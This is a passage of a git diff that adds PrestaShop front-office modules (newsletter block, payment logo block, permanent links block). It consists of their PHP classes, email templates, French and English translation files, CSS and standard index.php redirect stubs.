H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocknewsletter/mails/en/newsletter_conf.html b/modules/blocknewsletter/mails/en/newsletter_conf.html new file mode 100755 index 0000000..d687610 --- /dev/null +++ b/modules/blocknewsletter/mails/en/newsletter_conf.html @@ -0,0 +1,14 @@ + + + + + Message from {shop_name} + + +
        {shop_name}

        Hi +

        Thank you for subscribing to our newsletter

        + +
        {shop_name} powered by PrestaShop
        +
        + + \ No newline at end of file diff --git a/modules/blocknewsletter/mails/en/newsletter_conf.txt b/modules/blocknewsletter/mails/en/newsletter_conf.txt new file mode 100755 index 0000000..a39bb9c --- /dev/null +++ b/modules/blocknewsletter/mails/en/newsletter_conf.txt @@ -0,0 +1,7 @@ +Hi + +Thank you for subscribing to our newsletter. + + + +{shop_url} powered by PrestaShopâ„¢ \ No newline at end of file diff --git a/modules/blocknewsletter/mails/en/newsletter_verif.html b/modules/blocknewsletter/mails/en/newsletter_verif.html new file mode 100755 index 0000000..a60d0c4 --- /dev/null +++ b/modules/blocknewsletter/mails/en/newsletter_verif.html @@ -0,0 +1,12 @@ + + + + + Message de {shop_name} + + +
        {shop_name}

        Hi,

        Thank you for subscribing to our newsletter, please confirm your request by clicking the link below:
        {verif_url} +
        {shop_name} Powered by PrestaShop
        +
        + + \ No newline at end of file diff --git a/modules/blocknewsletter/mails/en/newsletter_verif.txt b/modules/blocknewsletter/mails/en/newsletter_verif.txt new file mode 100755 index 0000000..ba09f57 --- /dev/null +++ b/modules/blocknewsletter/mails/en/newsletter_verif.txt @@ -0,0 +1,6 @@ +Hi, + +Thank you for subscribing to our newsletter, please confirm your request by clicking the link below: +{verif_url} + +{shop_url} powered by PrestaShopâ„¢ \ No newline at end of file diff --git a/modules/blocknewsletter/mails/en/newsletter_voucher.html b/modules/blocknewsletter/mails/en/newsletter_voucher.html new file mode 100755 index 0000000..4f51e3a --- /dev/null +++ b/modules/blocknewsletter/mails/en/newsletter_voucher.html @@ -0,0 +1,40 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Hi,
         
        Newsletter subscription
         
        Regarding your newsletter subscription, we are pleased to offer you the following voucher: {discount}
         
        {shop_name} powered by PrestaShop™
        + + \ No newline at end of file diff --git a/modules/blocknewsletter/mails/en/newsletter_voucher.txt b/modules/blocknewsletter/mails/en/newsletter_voucher.txt new file mode 100755 index 0000000..0119880 --- /dev/null +++ b/modules/blocknewsletter/mails/en/newsletter_voucher.txt @@ -0,0 +1,9 @@ +Hi + +Regarding your newsletter subscription, we are pleased to offer you the following voucher: {discount} + +{shop_name} - {shop_url} + + + +{shop_url} Powered by PrestaShop™ \ No newline at end of file diff --git a/modules/blocknewsletter/translations/en.php b/modules/blocknewsletter/translations/en.php new file mode 100755 index 0000000..690ec00 --- /dev/null +++ b/modules/blocknewsletter/translations/en.php @@ -0,0 +1,6 @@ +blocknewsletter_416f61a2ce16586f8289d41117a2554e'] = 'Your email address'; diff --git a/modules/blocknewsletter/translations/fr.php b/modules/blocknewsletter/translations/fr.php new file mode 100755 index 0000000..bf311cf --- /dev/null +++ b/modules/blocknewsletter/translations/fr.php @@ -0,0 +1,34 @@ +blocknewsletter_9e31b08a00c1ed653bcaa517dee84714'] = 'Bloc newsletter'; +$_MODULE['<{blocknewsletter}prestashop>blocknewsletter_ba457fab18d697d978befb95e827eb91'] = 'Ajoute un bloc newsletter pour vos clients'; +$_MODULE['<{blocknewsletter}prestashop>blocknewsletter_396c88991101b5ca362932952293d291'] = 'Êtes-vous sûr de vouloir supprimer tous vos contacts ?'; +$_MODULE['<{blocknewsletter}prestashop>blocknewsletter_524ec52bffb5d76b943ff1ae20c27f0a'] = 'Code de réduction non valable'; +$_MODULE['<{blocknewsletter}prestashop>blocknewsletter_ff0a3b7f3daef040faf89a88fdac01b7'] = 'Mis à jour'; +$_MODULE['<{blocknewsletter}prestashop>blocknewsletter_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{blocknewsletter}prestashop>blocknewsletter_6d56757498a13d0c1e54261795469e99'] = 'Afficher la configuration dans une nouvelle page ?'; +$_MODULE['<{blocknewsletter}prestashop>blocknewsletter_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{blocknewsletter}prestashop>blocknewsletter_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{blocknewsletter}prestashop>blocknewsletter_54d2f1bab16b550e32395a7e6edb8de5'] = 'Envoyer un e-mail de vérification après inscription ?'; +$_MODULE['<{blocknewsletter}prestashop>blocknewsletter_b37f32d509cf5aabe806b16791588aa3'] = 'Envoyer un e-mail de confirmation après inscription ?'; +$_MODULE['<{blocknewsletter}prestashop>blocknewsletter_506e58042922bff5bd753dc612e84f5b'] = 'Code de réduction offert'; +$_MODULE['<{blocknewsletter}prestashop>blocknewsletter_1d612b943b8f4792bff603384a46e5f1'] = 'Laissez vide pour désactiver'; +$_MODULE['<{blocknewsletter}prestashop>blocknewsletter_06933067aafd48425d67bcb01bba5cb6'] = 'Mettre à jour'; +$_MODULE['<{blocknewsletter}prestashop>blocknewsletter_59e4904d4366fab35a8282f418e699de'] = 'Adresse e-mail non valable'; +$_MODULE['<{blocknewsletter}prestashop>blocknewsletter_1c623b291d95f4f1b1d0c03d0dc0ffa1'] = 'Adresse e-mail introuvable'; +$_MODULE['<{blocknewsletter}prestashop>blocknewsletter_3b1f17a6fd92e35bc744e986b8e7a61c'] = 'Erreur lors de la désinscription'; +$_MODULE['<{blocknewsletter}prestashop>blocknewsletter_f7dc297e2a139ab4f5a771825b46df43'] = 'Votre désinscription a bien été prise en compte'; +$_MODULE['<{blocknewsletter}prestashop>blocknewsletter_f6618fce0acbfca15e1f2b0991ddbcd0'] = 'Adresse e-mail déjà inscrite'; +$_MODULE['<{blocknewsletter}prestashop>blocknewsletter_e172cb581e84f43a3bd8ee4e3b512197'] = 'Une erreur est survenue lors de votre inscription'; +$_MODULE['<{blocknewsletter}prestashop>blocknewsletter_ebc069b1b9a2c48edfa39e344103be1e'] = 'Un e-mail de vérification a été envoyé. Veuillez l\'ouvrir.'; +$_MODULE['<{blocknewsletter}prestashop>blocknewsletter_77c576a354d5d6f5e2c1ba50167addf8'] = 'Votre inscription a bien été prise en compte'; +$_MODULE['<{blocknewsletter}prestashop>blocknewsletter_99c8b8e5e51bf8f00f1d66820684be9a'] = 'E-mail déjà enregistré ou non valable'; +$_MODULE['<{blocknewsletter}prestashop>blocknewsletter_4e1c51e233f1ed368c58db9ef09010ba'] = 'Merci de vous être inscrit à notre newsletter.'; +$_MODULE['<{blocknewsletter}prestashop>blocknewsletter_ffb7e666a70151215b4c55c6268d7d72'] = 'Newsletter'; +$_MODULE['<{blocknewsletter}prestashop>blocknewsletter_198584454b0ce1101ff5b50323325aa8'] = 'votre e-mail'; +$_MODULE['<{blocknewsletter}prestashop>blocknewsletter_b26917587d98330d93f87808fc9d7267'] = 'Inscription'; +$_MODULE['<{blocknewsletter}prestashop>blocknewsletter_4182c8f19d40c7ca236a5f4f83faeb6b'] = 'Désinscription'; +$_MODULE['<{blocknewsletter}prestashop>blocknewsletter_416f61a2ce16586f8289d41117a2554e'] = 'votre e-mail'; diff --git a/modules/blocknewsletter/translations/index.php b/modules/blocknewsletter/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocknewsletter/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocknewsletter/verification.php b/modules/blocknewsletter/verification.php new file mode 100755 index 0000000..efcb8b3 --- /dev/null +++ b/modules/blocknewsletter/verification.php @@ -0,0 +1,16 @@ +name)) + exit; + +$token = Tools::getValue('token'); + +require_once(dirname(__FILE__).'/../../header.php'); +echo $module->confirmEmail($token); +require_once(dirname(__FILE__).'/../../footer.php'); diff --git a/modules/blocknewsletter/views/index.php b/modules/blocknewsletter/views/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocknewsletter/views/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocknewsletter/views/templates/front/index.php b/modules/blocknewsletter/views/templates/front/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocknewsletter/views/templates/front/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocknewsletter/views/templates/front/verification_execution.tpl b/modules/blocknewsletter/views/templates/front/verification_execution.tpl new file mode 100755 index 0000000..9151c6a --- /dev/null +++ b/modules/blocknewsletter/views/templates/front/verification_execution.tpl @@ -0,0 +1,25 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{$message} \ No newline at end of file diff --git a/modules/blocknewsletter/views/templates/hook/blocknewsletter.tpl b/modules/blocknewsletter/views/templates/hook/blocknewsletter.tpl new file mode 100755 index 0000000..ff25df3 --- /dev/null +++ b/modules/blocknewsletter/views/templates/hook/blocknewsletter.tpl @@ -0,0 +1,52 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + +
        +

        {l s='Newsletter' mod='blocknewsletter'}

        +
        + {if isset($msg) && $msg} +

        {$msg}

        + {/if} +
        +

        + {* @todo use jquery (focusin, focusout) instead of onblur and onfocus *} + + + + +

        +
        +
        +
        + diff --git a/modules/blocknewsletter/views/templates/hook/index.php b/modules/blocknewsletter/views/templates/hook/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocknewsletter/views/templates/hook/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocknewsletter/views/templates/index.php b/modules/blocknewsletter/views/templates/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocknewsletter/views/templates/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockpaymentlogo/blockpaymentlogo.php b/modules/blockpaymentlogo/blockpaymentlogo.php new file mode 100755 index 0000000..f8d092b --- /dev/null +++ b/modules/blockpaymentlogo/blockpaymentlogo.php @@ -0,0 +1,145 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class BlockPaymentLogo extends Module +{ + public function __construct() + { + $this->name = 'blockpaymentlogo'; + $this->tab = 'front_office_features'; + $this->version = '0.2'; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Payment logo block.'); + $this->description = $this->l('This block will display all of your payment logos.'); + } + + public function install() + { + Configuration::updateValue('PS_PAYMENT_LOGO_CMS_ID', 0); + if (!parent::install()) + return false; + if (!$this->registerHook('leftColumn')) + return false; + if (!$this->registerHook('header')) + return false; + return true; + } + + public function uninstall() + { + Configuration::deleteByName('PS_PAYMENT_LOGO_CMS_ID'); + return parent::uninstall(); + } + + public function getContent() + { + $html = ' +

        '.$this->l('Payment logo.').'

        + '; + + if (Tools::isSubmit('submitConfiguration')) + if (Validate::isUnsignedInt(Tools::getValue('id_cms'))) + { + Configuration::updateValue('PS_PAYMENT_LOGO_CMS_ID', (int)(Tools::getValue('id_cms'))); + $this->_clearCache('blockpaymentlogo.tpl'); + $html .= $this->displayConfirmation($this->l('The settings have been updated.')); + } + + $cmss = CMS::listCms($this->context->language->id); + + if (!count($cmss)) + $html .= $this->displayError($this->l('No CMS page is available.')); + else + { + $html .= ' +
        +
        + '.$this->l('Configure').' + +
        + +
        +

        +
        +
        + '; + } + return $html; + } + + /** + * Returns module content + * + * @param array $params Parameters + * @return string Content + */ + public function hookLeftColumn($params) + { + if (Configuration::get('PS_CATALOG_MODE')) + return; + + if (!$this->isCached('blockpaymentlogo.tpl', $this->getCacheId())) + { + if (!Configuration::get('PS_PAYMENT_LOGO_CMS_ID')) + return; + $cms = new CMS(Configuration::get('PS_PAYMENT_LOGO_CMS_ID'), $this->context->language->id); + if (!Validate::isLoadedObject($cms)) + return; + $this->smarty->assign('cms_payement_logo', $cms); + } + + return $this->display(__FILE__, 'blockpaymentlogo.tpl', $this->getCacheId()); + } + + public function hookRightColumn($params) + { + return $this->hookLeftColumn($params); + } + + public function hookFooter($params) + { + return $this->hookLeftColumn($params); + } + public function hookHeader($params) + { + if (Configuration::get('PS_CATALOG_MODE')) + return; + $this->context->controller->addCSS(($this->_path).'blockpaymentlogo.css', 'all'); + } + +} + + diff --git a/modules/blockpaymentlogo/blockpaymentlogo.tpl b/modules/blockpaymentlogo/blockpaymentlogo.tpl new file mode 100755 index 0000000..bf3dc13 --- /dev/null +++ b/modules/blockpaymentlogo/blockpaymentlogo.tpl @@ -0,0 +1,34 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + \ No newline at end of file diff --git a/modules/blockpaymentlogo/index.php b/modules/blockpaymentlogo/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockpaymentlogo/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockpaymentlogo/logo.gif b/modules/blockpaymentlogo/logo.gif new file mode 100755 index 0000000..22c8df5 Binary files /dev/null and b/modules/blockpaymentlogo/logo.gif differ diff --git a/modules/blockpaymentlogo/logo.png b/modules/blockpaymentlogo/logo.png new file mode 100755 index 0000000..79c5e88 Binary files /dev/null and b/modules/blockpaymentlogo/logo.png differ diff --git a/modules/blockpaymentlogo/translations/fr.php b/modules/blockpaymentlogo/translations/fr.php new file mode 100755 index 0000000..6b75d9f --- /dev/null +++ b/modules/blockpaymentlogo/translations/fr.php @@ -0,0 +1,14 @@ +blockpaymentlogo_ea2d4e3948f9543e5939efd1663ddef5'] = 'Bloc logo de paiement'; +$_MODULE['<{blockpaymentlogo}prestashop>blockpaymentlogo_d272c8b17089521db4660c7852f8839c'] = 'Ajoute un bloc affichant tous les logos des modes de paiement.'; +$_MODULE['<{blockpaymentlogo}prestashop>blockpaymentlogo_fb0c64625321a2f2e5e8800a7ddbd759'] = 'Logo de paiement'; +$_MODULE['<{blockpaymentlogo}prestashop>blockpaymentlogo_efc226b17e0532afff43be870bff0de7'] = 'Paramètres mis à jour'; +$_MODULE['<{blockpaymentlogo}prestashop>blockpaymentlogo_5c5e5371da7ab2c28d1af066a1a1cc0d'] = 'Aucune page CMS n\'est disponible'; +$_MODULE['<{blockpaymentlogo}prestashop>blockpaymentlogo_f1206f9fadc5ce41694f69129aecac26'] = 'Configurer'; +$_MODULE['<{blockpaymentlogo}prestashop>blockpaymentlogo_4b3c34d991275b9fdb0facfcea561be9'] = 'Page CMS pour le lien'; +$_MODULE['<{blockpaymentlogo}prestashop>blockpaymentlogo_01bb71b3e70e9e5057c9678a903d47ac'] = 'Choisir une page'; +$_MODULE['<{blockpaymentlogo}prestashop>blockpaymentlogo_d4dccb8ca2dac4e53c01bd9954755332'] = 'Enregistrer les paramètres'; diff --git a/modules/blockpaymentlogo/translations/index.php b/modules/blockpaymentlogo/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockpaymentlogo/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockpermanentlinks/blockpermanentlinks-footer.tpl b/modules/blockpermanentlinks/blockpermanentlinks-footer.tpl new file mode 100755 index 0000000..1edf161 --- /dev/null +++ b/modules/blockpermanentlinks/blockpermanentlinks-footer.tpl @@ -0,0 +1,44 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + diff --git a/modules/blockpermanentlinks/blockpermanentlinks-header.tpl b/modules/blockpermanentlinks/blockpermanentlinks-header.tpl new file mode 100755 index 0000000..9c3b0b9 --- /dev/null +++ b/modules/blockpermanentlinks/blockpermanentlinks-header.tpl @@ -0,0 +1,34 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + diff --git a/modules/blockpermanentlinks/blockpermanentlinks.css b/modules/blockpermanentlinks/blockpermanentlinks.css new file mode 100755 index 0000000..7dccbbe --- /dev/null +++ b/modules/blockpermanentlinks/blockpermanentlinks.css @@ -0,0 +1,35 @@ +/* block top links */ +ul#header_links { + list-style-type: none; + float: right; + margin-top:5px +} +#header_links li { + float: left; + padding: 0 8px; + border-left:1px solid #333; + line-height:11px; +} +#header_links li:first-child {border:none;} +#header_links a {text-decoration: none} +#header_links a:hover {text-decoration:underline} + +/*block permanent links right and left columns*/ +#permanent_links div {border-bottom: 1px dotted #eee} +#permanent_links div a { + display: block; + padding: 7px 11px 5px 22px; + color: #333; + background:url(img/arrow_right_2.png) no-repeat 10px 10px; +} + +/* block footer links */ +ul#footer_links{ + clear:both; + text-align: center; + padding-bottom:6px +} +ul#footer_links li{ + display: inline; + padding:0 10px +} diff --git a/modules/blockpermanentlinks/blockpermanentlinks.php b/modules/blockpermanentlinks/blockpermanentlinks.php new file mode 100755 index 0000000..65772fa --- /dev/null +++ b/modules/blockpermanentlinks/blockpermanentlinks.php @@ -0,0 +1,89 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class BlockPermanentLinks extends Module +{ + public function __construct() + { + $this->name = 'blockpermanentlinks'; + $this->tab = 'front_office_features'; + $this->version = 0.1; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Permanent links block'); + $this->description = $this->l('Adds a block that displays permanent links such as sitemap, contact, etc...'); + } + + public function install() + { + return (parent::install() && $this->registerHook('top') && $this->registerHook('header')); + } + + /** + * Returns module content for header + * + * @param array $params Parameters + * @return string Content + */ + public function hookTop($params) + { + return $this->display(__FILE__, 'blockpermanentlinks-header.tpl', $this->getCacheId('blockpermanentlinks-header')); + } + + /** + * Returns module content for left column + * + * @param array $params Parameters + * @return string Content + */ + public function hookLeftColumn($params) + { + return $this->display(__FILE__, 'blockpermanentlinks.tpl', $this->getCacheId()); + } + + public function hookRightColumn($params) + { + return $this->hookLeftColumn($params); + } + + public function hookFooter($params) + { + return $this->display(__FILE__, 'blockpermanentlinks-footer.tpl', $this->getCacheId('blockpermanentlinks-footer')); + } + + public function hookHeader($params) + { + $this->context->controller->addCSS(($this->_path).'blockpermanentlinks.css', 'all'); + } +} + + diff --git a/modules/blockpermanentlinks/blockpermanentlinks.tpl b/modules/blockpermanentlinks/blockpermanentlinks.tpl new file mode 100755 index 0000000..276d504 --- /dev/null +++ b/modules/blockpermanentlinks/blockpermanentlinks.tpl @@ -0,0 +1,42 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + \ No newline at end of file diff --git a/modules/blockpermanentlinks/img/arrow_right_2.png b/modules/blockpermanentlinks/img/arrow_right_2.png new file mode 100755 index 0000000..c970f18 Binary files /dev/null and b/modules/blockpermanentlinks/img/arrow_right_2.png differ diff --git a/modules/blockpermanentlinks/img/index.php b/modules/blockpermanentlinks/img/index.php new file mode 100755 index 0000000..fd6bae0 --- /dev/null +++ b/modules/blockpermanentlinks/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../'); +exit; \ No newline at end of file diff --git a/modules/blockpermanentlinks/index.php b/modules/blockpermanentlinks/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockpermanentlinks/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockpermanentlinks/logo.gif b/modules/blockpermanentlinks/logo.gif new file mode 100755 index 0000000..d1e8373 Binary files /dev/null and b/modules/blockpermanentlinks/logo.gif differ diff --git a/modules/blockpermanentlinks/logo.png b/modules/blockpermanentlinks/logo.png new file mode 100755 index 0000000..391234f Binary files /dev/null and b/modules/blockpermanentlinks/logo.png differ diff --git a/modules/blockpermanentlinks/translations/fr.php b/modules/blockpermanentlinks/translations/fr.php new file mode 100755 index 0000000..cb473a5 --- /dev/null +++ b/modules/blockpermanentlinks/translations/fr.php @@ -0,0 +1,16 @@ +blockpermanentlinks-footer_5813ce0ec7196c492c97596718f71969'] = 'sitemap'; +$_MODULE['<{blockpermanentlinks}prestashop>blockpermanentlinks-footer_bbaff12800505b22a853e8b7f4eb6a22'] = 'contact'; +$_MODULE['<{blockpermanentlinks}prestashop>blockpermanentlinks-footer_714814d37531916c293a8a4007e8418c'] = 'Mettre cette page en favori'; +$_MODULE['<{blockpermanentlinks}prestashop>blockpermanentlinks-header_2f8a6bf31f3bd67bd2d9720c58b19c9a'] = 'contact'; +$_MODULE['<{blockpermanentlinks}prestashop>blockpermanentlinks-header_e1da49db34b0bdfdddaba2ad6552f848'] = 'plan du site'; +$_MODULE['<{blockpermanentlinks}prestashop>blockpermanentlinks-header_fad9383ed4698856ed467fd49ecf4820'] = 'favoris'; +$_MODULE['<{blockpermanentlinks}prestashop>blockpermanentlinks_39355c36cfd8f1d048a1f84803963534'] = 'Bloc liens permanents'; +$_MODULE['<{blockpermanentlinks}prestashop>blockpermanentlinks_52ecdc5932442c5f2a22ade561140870'] = 'Ajoute un bloc qui affiche des liens permanents (contact, plan du site, ...).'; +$_MODULE['<{blockpermanentlinks}prestashop>blockpermanentlinks_5813ce0ec7196c492c97596718f71969'] = 'plan du site'; 